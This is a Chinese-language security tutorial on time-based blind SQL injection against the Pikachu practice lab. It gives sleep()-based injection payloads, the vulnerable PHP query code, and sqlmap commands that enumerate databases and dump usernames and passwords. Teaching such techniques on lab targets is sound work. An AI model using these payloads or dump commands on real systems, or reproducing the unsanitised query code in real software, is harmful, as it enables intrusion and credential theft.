SQL 注入漏洞(八)时间注入/延时注入

一、时间注入

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是数据库延时 10 秒返回内容。判断注入可以使用' and sleep(10),数据
库延时10秒返回值,网页响应时间至少要10秒,根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0),2>1这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0),这个就是查询当前库大于1,就会延时5秒执行。
vince' and if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回。根据这个原理 n>1,n不延时就能确定当前数据库的长度了。

在这里插入图片描述

如果想要获取数据内容,可以用截取字符再进行字符对比,如果相同就进行延时。这样就能获取字符,接着再拼接就是当前库的内容。

二、代码分析

在页面中分析源码,直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。
$link=connect();
$html='';

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

三、sqlmap测时间注入

在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。

在这里插入图片描述

1、基本使用

采用时间注入:
sqlmap -u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入

在这里插入图片描述

2、获取用户和数据库名

sqlmap 检测为时间注入,通过这个注入获取数据库名、用户权限、表、字段等敏感信息。
sqlmap -u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式,自动 y

在这里插入图片描述在这里插入图片描述

3、获取表

-D 指定数据库
--tables 获取表
sqlmap -u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --tables -D pikachu --batch

在这里插入图片描述在这里插入图片描述

4、获取字段

-T 指定表
--columns 获取字段
sqlmap -u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --columns -T users -D pikachu --batch

在这里插入图片描述在这里插入图片描述

5、查询账号和密码

--dump 导出数据
-C 指定查询的字段
sqlmap -u "http://192.168.1.40/06/vul/sqli/sqli_str.php?name=vince&submit=1" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch

在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值